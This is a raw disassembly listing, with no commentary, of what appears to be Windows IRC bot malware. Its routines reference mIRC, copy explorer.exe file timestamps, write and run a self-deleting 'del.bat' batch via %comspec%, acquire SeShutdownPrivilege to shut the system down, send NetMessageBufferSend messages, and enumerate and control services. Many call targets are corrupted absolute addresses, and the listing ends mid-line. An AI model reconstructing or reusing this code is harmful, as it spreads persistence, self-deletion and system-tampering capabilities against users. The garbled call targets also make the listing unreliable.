; ___:00410CB2p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BD10 mov esi, [ebp+arg_0] push esi call sub_41B960 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_4184B3 or eax, 0FFFFFFFFh jmp short loc_418526 ; --------------------------------------------------------------------------- loc_4184B3: ; CODE XREF: sub_41847D+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_4184D5 loc_4184BF: ; CODE XREF: sub_41847D+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4184CC cmp dl, 0Dh jnz short loc_4184D0 loc_4184CC: ; CODE XREF: sub_41847D+48j and byte ptr [ecx+esi], 0 loc_4184D0: ; CODE XREF: sub_41847D+4Dj inc ecx cmp ecx, eax jl short loc_4184BF loc_4184D5: ; CODE XREF: sub_41847D+40j xor edx, edx push edi test eax, eax jle short loc_418506 lea edi, [ebp+var_7CC] loc_4184E2: ; CODE XREF: sub_41847D+87j cmp byte ptr [edx+esi], 0 jnz short loc_418501 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418501 cmp ebx, 1F4h jge short loc_418506 mov [edi], ecx inc ebx add edi, 4 loc_418501: ; CODE XREF: sub_41847D+69j ; sub_41847D+74j inc edx cmp edx, eax jl short loc_4184E2 loc_418506: ; CODE XREF: sub_41847D+5Dj ; sub_41847D+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418524 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CAB0 add esp, 0Ch loc_418524: ; CODE XREF: sub_41847D+8Ej mov eax, ebx loc_418526: ; CODE XREF: sub_41847D+34j pop esi pop ebx leave retn sub_41847D endp ; =============== S U B R O U T I N E ======================================= sub_41852A proc near ; CODE XREF: sub_418584+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418563 push ebx mov ebx, edi loc_418547: ; CODE XREF: sub_41852A+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418566 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418547 pop ebx loc_418563: ; CODE XREF: sub_41852A+18j pop edi pop esi retn sub_41852A endp ; =============== S U B R O U T I N E ======================================= sub_418566 proc near ; CODE XREF: sub_41852A+25p ; sub_418584+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DEEC cmp al, 61h pop ecx jl short loc_418581 cmp al, 7Ah jg short loc_418581 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418581: ; CODE XREF: sub_418566+Ej ; sub_418566+12j xor eax, eax retn sub_418566 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418584 proc near ; CODE XREF: sub_415DCF+10p ; ___:00415EA1p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C2A0 push ebx push esi push edi push [ebp+arg_0] call sub_41B960 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B960 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41852A add esp, 14h dec esi mov edi, esi loc_4185C2: ; CODE XREF: sub_418584+B6j test esi, esi jle short loc_418640 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DEEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DEEC pop ecx cmp eax, ebx pop ecx jz short loc_418638 loc_4185E8: ; CODE XREF: sub_418584+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418566 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418609 mov eax, ecx loc_418609: ; CODE XREF: sub_418584+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41863C mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DEEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DEEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4185E8 loc_418638: ; CODE XREF: sub_418584+62j dec edi dec esi jmp short loc_4185C2 ; --------------------------------------------------------------------------- loc_41863C: ; CODE XREF: sub_418584+8Aj xor eax, eax jmp short loc_418645 ; --------------------------------------------------------------------------- loc_418640: ; CODE XREF: sub_418584+40j mov eax, [ebp+arg_0] add eax, edi loc_418645: ; CODE XREF: sub_418584+BAj pop edi pop esi pop ebx leave retn sub_418584 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41864A proc near ; CODE XREF: sub_401AC7+66FDp ; sub_401AC7+7700p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 26A0EA9h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 2800000h lea eax, [ebp+var_100] loc_418683: ; CODE XREF: sub_41864A+46j mov cl, [eax] cmp cl, 1Fh jg short loc_41868F cmp cl, 9 jnz short loc_418692 loc_41868F: ; CODE XREF: sub_41864A+3Ej inc eax jmp short loc_418683 ; --------------------------------------------------------------------------- loc_418692: ; CODE XREF: sub_41864A+43j ; sub_41864A+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186AC mov cl, [eax] cmp cl, 2Eh jz short loc_418692 cmp cl, 21h jl short loc_418692 loc_4186AC: ; CODE XREF: sub_41864A+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4D8ABC push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C100 add esp, 18h mov eax, esi pop esi leave retn sub_41864A endp ; =============== S U B R O U T I N E ======================================= sub_4186D4 proc near ; CODE XREF: sub_401AC7+245Ap push esi push 0 call dword_4C92D4 test eax, eax jz short loc_41870B push 1 call dword_4C92F4 mov esi, eax test esi, esi jz short loc_41870B push edi push esi nop call near ptr 28106FEh push esi mov edi, eax call near ptr 2810000h nop call dword_4C9358 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41870B: ; CODE XREF: sub_4186D4+Bj ; sub_4186D4+19j xor eax, eax pop esi retn sub_4186D4 endp ; =============== S U B R O U T I N E ======================================= sub_41870F proc near ; CODE XREF: sub_401AC7+74B5p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4C9310 mov ebp, eax cmp ebp, esi jz short loc_41878B push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2820515h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 28202EDh push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C006 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4C9360 push esi push 1 push 4C9h push ebp call dword_4C9360 push ebx nop call near ptr 2820000h push edi nop call near ptr 2680000h push 1 pop eax pop ebx jmp short loc_41878D ; --------------------------------------------------------------------------- loc_41878B: ; CODE XREF: sub_41870F+16j xor eax, eax loc_41878D: ; CODE XREF: sub_41870F+7Aj pop edi pop esi pop ebp retn sub_41870F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418791 proc near ; CODE XREF: ___:00401430p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4C93C0 test eax, eax jz short loc_418830 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_427100 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418830 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2830749h push ebx mov ebx, dword_427078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418830 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2830000h push esi call ebx loc_418830: ; CODE XREF: sub_418791+2Aj ; sub_418791+51j ... pop edi pop esi pop ebx leave retn sub_418791 endp ; =============== S U B R O U T I N E ======================================= sub_418835 proc near ; CODE XREF: sub_401AC7+1675p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B3F pop ecx pop ecx push 50005h push 6 call dword_4C9244 neg eax sbb eax, eax neg eax retn sub_418835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418857 proc near ; CODE XREF: sub_401AC7+26F7p ; ___:00416BC6p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42908C, esi push edi jz short loc_41887B cmp dword_4C93D4, esi jnz short loc_41887B push esi call sub_401000 pop ecx loc_41887B: ; CODE XREF: sub_418857+13j ; sub_418857+1Bj call sub_40B576 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26C0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 2730000h nop mov edi, eax cmp edi, esi jbe loc_4189DB lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2720000h nop push edi nop call near ptr 2680000h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BD10 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BD10 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43B4B8 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 26B04F9h push eax nop call near ptr 2690000h lea eax, [ebp+var_15C] push eax nop call near ptr 26B0455h cmp eax, 0FFFFFFFFh jz short loc_418983 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 26B0389h loc_418983: ; CODE XREF: sub_418857+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C006 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2840000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 268033Fh loc_4189DB: ; CODE XREF: sub_418857+72j pop edi pop esi leave retn sub_418857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189DF proc near ; CODE XREF: sub_401AC7+7139p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26F0417h cmp [ebp+var_84], 2 jnz short loc_418A75 push [ebp+arg_10] push [ebp+arg_C] call dword_4C9284 push edi push eax call dword_4C9294 test eax, eax jz short loc_418A67 push [ebp+arg_10] push offset dword_438D24 loc_418A40: ; CODE XREF: sub_4189DF+94j lea eax, [ebp+var_294] push eax call sub_41C006 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h jmp short loc_418A9F ; --------------------------------------------------------------------------- loc_418A67: ; CODE XREF: sub_4189DF+57j nop call near ptr 26A0EA9h push eax push offset unk_438CFC jmp short loc_418A40 ; --------------------------------------------------------------------------- loc_418A75: ; CODE XREF: sub_4189DF+3Fj lea eax, [ebp+var_294] push offset unk_438CCC push eax call sub_41C006 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 1Ch loc_418A9F: ; CODE XREF: sub_4189DF+86j pop edi leave retn sub_4189DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AA2 proc near ; CODE XREF: sub_401AC7+556Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26F0417h nop cmp [ebp+var_90], 4 jnz short loc_418AF8 cmp [ebp+var_8C], 0 jnz short loc_418AE1 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418AF8 leave retn ; --------------------------------------------------------------------------- loc_418AE1: ; CODE XREF: sub_418AA2+30j cmp [ebp+var_8C], 0Ah jz short loc_418AF3 cmp [ebp+var_8C], 5Ah jnz short loc_418AF8 loc_418AF3: ; CODE XREF: sub_418AA2+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418AF8: ; CODE XREF: sub_418AA2+27j ; sub_418AA2+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26C0BA5h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call near ptr 26D0000h nop push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41DFD4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41DFD4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41DFD4 lea eax, [ebp+var_F8] push eax call sub_41DFB7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27B0817h mov eax, edi pop edi pop esi leave retn sub_418AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B82 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 26B0D7Ah push eax call sub_41C058 pop ecx call sub_41C062 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276F8 call sub_41CF04 sub esi, eax mov eax, esi pop esi leave retn sub_418B82 endp ; =============== S U B R O U T I N E ======================================= sub_418BBF proc near ; CODE XREF: sub_401AC7:loc_405F8Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C24 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_438D48[esi] push edi push eax call sub_418C46 add esp, 14h test eax, eax jnz short loc_418C07 push edi push off_438D44[esi] mov esi, offset dword_4D9380 push offset unk_438E58 push esi call sub_41C006 add esp, 10h jmp short loc_418C41 ; --------------------------------------------------------------------------- loc_418C07: ; CODE XREF: sub_418BBF+2Aj push eax call sub_418CE8 push eax push edi mov esi, offset dword_4D9380 push offset unk_438E2C push esi call sub_41C006 add esp, 14h jmp short loc_418C41 ; --------------------------------------------------------------------------- loc_418C24: ; CODE XREF: sub_418BBF+Cj lea eax, [eax+eax*2] mov esi, offset dword_4D9380 push off_438D40[eax*4] push offset unk_438E08 push esi call sub_41C006 add esp, 0Ch loc_418C41: ; CODE XREF: sub_418BBF+46j ; sub_418BBF+63j mov eax, esi pop edi pop esi retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C46 proc near ; CODE XREF: sub_418BBF+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4C92F8 mov edi, eax cmp edi, ebx jnz short loc_418C6D nop call near ptr 26A0EA9h mov ebx, eax jmp short loc_418CE2 ; --------------------------------------------------------------------------- loc_418C6D: ; CODE XREF: sub_418C46+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4C91E0 mov esi, eax cmp esi, ebx jnz short loc_418C8D call near ptr 26A0EA9h nop mov ebx, eax jmp short loc_418CDA ; --------------------------------------------------------------------------- loc_418C8D: ; CODE XREF: sub_418C46+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418CC0 cmp eax, 3 jz short loc_418CB1 jle short loc_418CD3 cmp eax, 6 jg short loc_418CD3 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4C924C jmp short loc_418CC7 ; --------------------------------------------------------------------------- loc_418CB1: ; CODE XREF: sub_418C46+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4C91E8 jmp short loc_418CC7 ; --------------------------------------------------------------------------- loc_418CC0: ; CODE XREF: sub_418C46+4Dj push esi call dword_4C9250 loc_418CC7: ; CODE XREF: sub_418C46+69j ; sub_418C46+78j test eax, eax jnz short loc_418CD3 call near ptr 26A0EA9h nop mov ebx, eax loc_418CD3: ; CODE XREF: sub_418C46+54j ; sub_418C46+59j ... push esi call dword_4C91FC loc_418CDA: ; CODE XREF: sub_418C46+45j push edi call dword_4C91FC pop esi loc_418CE2: ; CODE XREF: sub_418C46+25j mov eax, ebx pop edi pop ebx leave retn sub_418C46 endp ; =============== S U B R O U T I N E ======================================= sub_418CE8 proc near ; CODE XREF: sub_418BBF+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418D9D jz loc_418D96 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418D60 jz short loc_418D56 mov ecx, eax sub ecx, 3 jz short loc_418D4C dec ecx dec ecx jz short loc_418D42 dec ecx jz short loc_418D38 sub ecx, 51h jz short loc_418D2E sub ecx, 24h jnz loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D2E: ; CODE XREF: sub_418CE8+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D38: ; CODE XREF: sub_418CE8+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D42: ; CODE XREF: sub_418CE8+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D4C: ; CODE XREF: sub_418CE8+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D56: ; CODE XREF: sub_418CE8+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D60: ; CODE XREF: sub_418CE8+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418D8F dec ecx jz short loc_418D88 dec ecx jz short loc_418D81 dec ecx jnz loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D81: ; CODE XREF: sub_418CE8+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D88: ; CODE XREF: sub_418CE8+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D8F: ; CODE XREF: sub_418CE8+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D96: ; CODE XREF: sub_418CE8+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D9D: ; CODE XREF: sub_418CE8+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 jz short loc_418E00 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E54[ecx] jmp off_418E2C[ecx*4] ; switch jump loc_418DC1: ; DATA XREF: ___:off_418E2Co push offset aTheSpecifiedDa ; jumptable 00418DBA case 7 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DC8: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceDepe ; jumptable 00418DBA case 17 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DCF: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceDe_0 ; jumptable 00418DBA case 10 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DD6: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHasB ; jumptable 00418DBA case 0 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DDD: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheSpecified_0 ; jumptable 00418DBA case 2 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DE4: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceCoul ; jumptable 00418DBA case 11 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DEB: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHa_0 ; jumptable 00418DBA case 14 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DF2: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheRequested_1 ; jumptable 00418DBA case 3 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DF9: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHasN ; jumptable 00418DBA case 4 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418E00: ; CODE XREF: sub_418CE8+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E05: ; CODE XREF: sub_418CE8+41j ; sub_418CE8+4Bj ... push offset dword_4D8CC0 call sub_41C006 pop ecx pop ecx jmp short loc_418E26 ; --------------------------------------------------------------------------- loc_418E13: ; CODE XREF: sub_418CE8+36j ; sub_418CE8+89j ... push eax ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4D8CC0 call sub_41C006 add esp, 0Ch loc_418E26: ; CODE XREF: sub_418CE8+129j mov eax, offset dword_4D8CC0 retn sub_418CE8 endp ; --------------------------------------------------------------------------- off_418E2C dd offset loc_418DD6 ; DATA XREF: sub_418CE8+D2r dd offset loc_418DDD ; jump table for switch statement dd offset loc_418DF2 dd offset loc_418DF9 dd offset loc_418DC1 dd offset loc_418DCF dd offset loc_418DE4 dd offset loc_418DEB dd offset loc_418DC8 dd offset loc_418E13 byte_418E54 db 0, 9, 1, 2 ; DATA XREF: sub_418CE8+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E66 proc near ; CODE XREF: sub_401AC7+44EEp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4C92F8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_418E9E: ; CODE XREF: sub_418E66+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4C92C4 test eax, eax jnz short loc_418ED8 nop call near ptr 26A0EA9h cmp eax, 0EAh jnz loc_418F8C loc_418ED8: ; CODE XREF: sub_418E66+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418F83 lea esi, [ebp+var_188] loc_418EE9: ; CODE XREF: sub_418E66+117j mov eax, [esi+8] dec eax jz short loc_418F32 dec eax jz short loc_418F2B dec eax jz short loc_418F24 dec eax jz short loc_418F1D dec eax jz short loc_418F16 dec eax jz short loc_418F0F dec eax jz short loc_418F08 push offset aUnknown_0 ; " Unknown" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F08: ; CODE XREF: sub_418E66+99j push offset aPaused_0 ; " Paused" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F0F: ; CODE XREF: sub_418E66+96j push offset aPausing ; " Pausing" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F16: ; CODE XREF: sub_418E66+93j push offset aContinuing ; " Continuing" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F1D: ; CODE XREF: sub_418E66+90j push offset aRunning ; " Running" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F24: ; CODE XREF: sub_418E66+8Dj push offset aStoping ; " Stoping" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F2B: ; CODE XREF: sub_418E66+8Aj push offset aStarting ; " Starting" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F32: ; CODE XREF: sub_418E66+87j push offset aStopped ; " Stopped" loc_418F37: ; CODE XREF: sub_418E66+A0j ; sub_418E66+A7j ... lea eax, [ebp+var_20] push eax call sub_41C006 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C006 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418EE9 loc_418F83: ; CODE XREF: sub_418E66+77j cmp [ebp+var_8], ebx jnz loc_418E9E loc_418F8C: ; CODE XREF: sub_418E66+6Cj push [ebp+var_C] call dword_4C91FC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418E66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FA3 proc near ; CODE XREF: sub_401AC7:loc_40606Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41903C mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418FCC dec eax jnz short loc_41901C push edi push 0 call sub_419175 pop ecx pop ecx jmp short loc_419018 ; --------------------------------------------------------------------------- loc_418FCC: ; CODE XREF: sub_418FA3+18j cmp [ebp+arg_8], 0 jnz short loc_41900A push 24h push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz short loc_41900A push 57h pop eax loc_418FE3: ; CODE XREF: sub_418FA3+77j push eax call sub_41994D push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4D8F7C push off_438D40[eax*4] push offset unk_4393EC push esi call sub_41C006 add esp, 18h jmp short loc_41905C ; --------------------------------------------------------------------------- loc_41900A: ; CODE XREF: sub_418FA3+2Dj ; sub_418FA3+3Bj push [ebp+arg_8] push edi push 0 call sub_4190C9 add esp, 0Ch loc_419018: ; CODE XREF: sub_418FA3+27j test eax, eax jnz short loc_418FE3 loc_41901C: ; CODE 